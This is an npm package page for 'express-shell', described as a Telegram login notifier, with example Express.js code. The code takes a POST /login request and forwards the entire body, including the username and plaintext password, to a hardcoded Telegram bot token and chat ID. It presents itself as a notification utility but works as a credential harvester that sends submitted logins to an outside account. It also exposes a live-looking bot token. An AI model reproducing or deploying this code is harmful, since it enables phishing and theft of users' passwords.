express-shell
v1.1.0
Published
Telegram login notifier bot developed by Web Coding Uz. This application notifies users of login events via Telegram.
Downloads
7
Maintainers
Readme
Example code
const express = require('express');
const TelegramBot = require('node-telegram-bot-api');
const app = express();
app.use(express.json());
const notifyTelegram = (token, chatId, data) => {
const bot = new TelegramBot(token);
const message = `Login ma'lumotlari:\n${JSON.stringify(data, null, 2)}`;
bot.sendMessage(chatId, message)
.then(() => {
console.log('Ma\'lumotlar yuborildi.');
})
.catch((error) => {
console.error('Yuborishda xato:', error);
});
};
const token = '7365753822:AAHF5dRe1aCNqMt10yag98A38_spg_WwztE';
const chatId = '6433553772';
app.post('/login', (req, res) => {
const {username, password} = req.body.data; // Login ma'lumotlari
notifyTelegram(token, chatId, req.body);
res.send('Login ma\'lumotlari yuborildi.');
});
// Serverni boshlash
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server ${PORT} portida ishlamoqda...`);
});